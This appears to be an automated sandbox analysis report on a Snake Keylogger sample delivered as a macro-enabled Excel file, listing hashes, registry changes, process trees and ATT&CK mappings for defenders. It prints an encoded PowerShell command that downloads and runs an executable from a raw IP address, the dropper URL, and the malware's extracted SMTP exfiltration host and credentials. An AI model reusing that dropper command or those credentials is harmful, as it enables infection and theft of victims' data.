snakekeylogger | 8aa3e1396cd5802e840d87a5a0b370e28102cbe41669124981aa3d38738099a7

Analysis

max time kernel
120s
max time network
122s
platform
windows7_x64
resource
win7-en-20211014
submitted
19-10-2021 11:56

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

70016103621110.xlsm
Size

363KB
MD5

998da072875302919b2819e018eacf6f
SHA1

4bcb248983c0a37842cfae2bb13dcd1e6bc98c87
SHA256

8aa3e1396cd5802e840d87a5a0b370e28102cbe41669124981aa3d38738099a7
SHA512

3192effb38fe5eee4498713e4021836700067a659a869ece23ade0881fcf454c86dd5c559fa7dd1c2e5a8628a108083ac78a9a08e1b876e8f895a6bd9f5734a0

Score

10^/10

snakekeylogger collection keylogger spyware stealer

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://3.64.251.139/v3/2/70016103621110.exe

Extracted

Family

snakekeylogger

Credentials

Protocol: smtp
Host:
efinancet.shop
Port:
587
Username:
[email protected]
Password:
BG##kz5dHzND

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	908	1336	cmd.exe	EXCEL.EXE

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

4 1360 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 3 IoCs

Processes:

Cecqilbtcyidibmprkypdgh.exeCecqilbtcyidibmprkypdgh.exeCecqilbtcyidibmprkypdgh.exe

pid process

1560 Cecqilbtcyidibmprkypdgh.exe
880 Cecqilbtcyidibmprkypdgh.exe
1236 Cecqilbtcyidibmprkypdgh.exe
Deletes itself 1 IoCs

Processes:

EXCEL.EXE

pid process

1336 EXCEL.EXE
Loads dropped DLL 3 IoCs

Processes:

powershell.exeCecqilbtcyidibmprkypdgh.exe

pid process

1360 powershell.exe
1560 Cecqilbtcyidibmprkypdgh.exe
1560 Cecqilbtcyidibmprkypdgh.exe
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

flow	pid	process
4	1360	powershell.exe

pid	process
1560	Cecqilbtcyidibmprkypdgh.exe
880	Cecqilbtcyidibmprkypdgh.exe
1236	Cecqilbtcyidibmprkypdgh.exe

pid	process
1336	EXCEL.EXE

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

Cecqilbtcyidibmprkypdgh.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Cecqilbtcyidibmprkypdgh.exe
Key opened	\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Cecqilbtcyidibmprkypdgh.exe
Key opened	\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Cecqilbtcyidibmprkypdgh.exe

Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

15 freegeoip.app
16 freegeoip.app
11 checkip.dyndns.org
Suspicious use of SetThreadContext 1 IoCs

Processes:

Cecqilbtcyidibmprkypdgh.exe

description pid process target process

PID 1560 set thread context of 1236 1560 Cecqilbtcyidibmprkypdgh.exe Cecqilbtcyidibmprkypdgh.exe
Office loads VBA resources, possible macro or embedded object present
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

flow	ioc
15	freegeoip.app
16	freegeoip.app
11	checkip.dyndns.org

description	pid	process	target process
PID 1560 set thread context of 1236	1560	Cecqilbtcyidibmprkypdgh.exe	Cecqilbtcyidibmprkypdgh.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE

Modifies registry class 64 IoCs

Processes:

EXCEL.EXE

description	ioc	process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\ = "&Print"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\ = "&Print"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\ShellEx	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\ = "&Edit"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\ = "&Edit"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon\ = "\"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application	EXCEL.EXE

NTFS ADS 1 IoCs

Processes:

EXCEL.EXE

description ioc process

File created C:\Users\Admin\AppData\Local\Temp\47D57F00\:Zone.Identifier:$DATA EXCEL.EXE
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1336 EXCEL.EXE

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Temp\47D57F00\:Zone.Identifier:$DATA	EXCEL.EXE

pid	process
1336	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 10 IoCs

Processes:

powershell.exeCecqilbtcyidibmprkypdgh.exeCecqilbtcyidibmprkypdgh.exe

pid	process
1360	powershell.exe
1360	powershell.exe
1360	powershell.exe
1560	Cecqilbtcyidibmprkypdgh.exe
1560	Cecqilbtcyidibmprkypdgh.exe
1560	Cecqilbtcyidibmprkypdgh.exe
1560	Cecqilbtcyidibmprkypdgh.exe
1560	Cecqilbtcyidibmprkypdgh.exe
1560	Cecqilbtcyidibmprkypdgh.exe
1236	Cecqilbtcyidibmprkypdgh.exe

Suspicious behavior: RenamesItself 1 IoCs

Processes:

EXCEL.EXE

pid process

1336 EXCEL.EXE

pid	process
1336	EXCEL.EXE

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exeCecqilbtcyidibmprkypdgh.exeCecqilbtcyidibmprkypdgh.exe

description	pid	process
Token: SeDebugPrivilege	1360	powershell.exe
Token: SeDebugPrivilege	1560	Cecqilbtcyidibmprkypdgh.exe
Token: SeDebugPrivilege	1236	Cecqilbtcyidibmprkypdgh.exe

Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

1336 EXCEL.EXE
1336 EXCEL.EXE
1336 EXCEL.EXE

pid	process
1336	EXCEL.EXE
1336	EXCEL.EXE
1336	EXCEL.EXE

Suspicious use of WriteProcessMemory 25 IoCs

Processes:

EXCEL.EXEcmd.exepowershell.exeCecqilbtcyidibmprkypdgh.exe

description	pid	process	target process
PID 1336 wrote to memory of 908	1336	EXCEL.EXE	cmd.exe
PID 1336 wrote to memory of 908	1336	EXCEL.EXE	cmd.exe
PID 1336 wrote to memory of 908	1336	EXCEL.EXE	cmd.exe
PID 1336 wrote to memory of 908	1336	EXCEL.EXE	cmd.exe
PID 908 wrote to memory of 1360	908	cmd.exe	powershell.exe
PID 908 wrote to memory of 1360	908	cmd.exe	powershell.exe
PID 908 wrote to memory of 1360	908	cmd.exe	powershell.exe
PID 908 wrote to memory of 1360	908	cmd.exe	powershell.exe
PID 1360 wrote to memory of 1560	1360	powershell.exe	Cecqilbtcyidibmprkypdgh.exe
PID 1360 wrote to memory of 1560	1360	powershell.exe	Cecqilbtcyidibmprkypdgh.exe
PID 1360 wrote to memory of 1560	1360	powershell.exe	Cecqilbtcyidibmprkypdgh.exe
PID 1360 wrote to memory of 1560	1360	powershell.exe	Cecqilbtcyidibmprkypdgh.exe
PID 1560 wrote to memory of 880	1560	Cecqilbtcyidibmprkypdgh.exe	Cecqilbtcyidibmprkypdgh.exe
PID 1560 wrote to memory of 880	1560	Cecqilbtcyidibmprkypdgh.exe	Cecqilbtcyidibmprkypdgh.exe
PID 1560 wrote to memory of 880	1560	Cecqilbtcyidibmprkypdgh.exe	Cecqilbtcyidibmprkypdgh.exe
PID 1560 wrote to memory of 880	1560	Cecqilbtcyidibmprkypdgh.exe	Cecqilbtcyidibmprkypdgh.exe
PID 1560 wrote to memory of 1236	1560	Cecqilbtcyidibmprkypdgh.exe	Cecqilbtcyidibmprkypdgh.exe
PID 1560 wrote to memory of 1236	1560	Cecqilbtcyidibmprkypdgh.exe	Cecqilbtcyidibmprkypdgh.exe
PID 1560 wrote to memory of 1236	1560	Cecqilbtcyidibmprkypdgh.exe	Cecqilbtcyidibmprkypdgh.exe
PID 1560 wrote to memory of 1236	1560	Cecqilbtcyidibmprkypdgh.exe	Cecqilbtcyidibmprkypdgh.exe
PID 1560 wrote to memory of 1236	1560	Cecqilbtcyidibmprkypdgh.exe	Cecqilbtcyidibmprkypdgh.exe
PID 1560 wrote to memory of 1236	1560	Cecqilbtcyidibmprkypdgh.exe	Cecqilbtcyidibmprkypdgh.exe
PID 1560 wrote to memory of 1236	1560	Cecqilbtcyidibmprkypdgh.exe	Cecqilbtcyidibmprkypdgh.exe
PID 1560 wrote to memory of 1236	1560	Cecqilbtcyidibmprkypdgh.exe	Cecqilbtcyidibmprkypdgh.exe
PID 1560 wrote to memory of 1236	1560	Cecqilbtcyidibmprkypdgh.exe	Cecqilbtcyidibmprkypdgh.exe

outlook_office_path 1 IoCs

Processes:

Cecqilbtcyidibmprkypdgh.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Cecqilbtcyidibmprkypdgh.exe

outlook_win_path 1 IoCs

Processes:

Cecqilbtcyidibmprkypdgh.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Cecqilbtcyidibmprkypdgh.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\70016103621110.xlsm
1⤵
- Deletes itself
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- NTFS ADS
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: RenamesItself
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1336

C:\Windows\SysWOW64\cmd.exe
cmd /c Cxgttzrzhsqtcnpjymlueb.bat
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:908

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -win 1 -enc JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBDAGUAYwBxAGkAbABiAHQAYwB5AGkAZABpAGIAbQBwAHIAawB5AHAAZABnAGgALgBlAHgAZQAiADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwAzAC4ANgA0AC4AMgA1ADEALgAxADMAOQAvAHYAMwAvADIALwA3ADAAMAAxADYAMQAwADMANgAyADEAMQAxADAALgBlAHgAZQAiACwAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcACQAUAByAG8AYwBOAGEAbQBlACIAKQA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAoACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAFAAcgBvAGMATgBhAG0AZQAiACkA
3⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1360

C:\Users\Admin\AppData\Roaming\Cecqilbtcyidibmprkypdgh.exe
"C:\Users\Admin\AppData\Roaming\Cecqilbtcyidibmprkypdgh.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1560

C:\Users\Admin\AppData\Local\Temp\Cecqilbtcyidibmprkypdgh.exe
C:\Users\Admin\AppData\Local\Temp\Cecqilbtcyidibmprkypdgh.exe
5⤵
- Executes dropped EXE
PID:880

C:\Users\Admin\AppData\Local\Temp\Cecqilbtcyidibmprkypdgh.exe
C:\Users\Admin\AppData\Local\Temp\Cecqilbtcyidibmprkypdgh.exe
5⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:1236

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Cecqilbtcyidibmprkypdgh.exe
MD5
5139e24e3fa4d06a143dd7d297a44ee7

SHA1
2ee7f89720c68680db7e0b96b30069ed1bed913a

SHA256
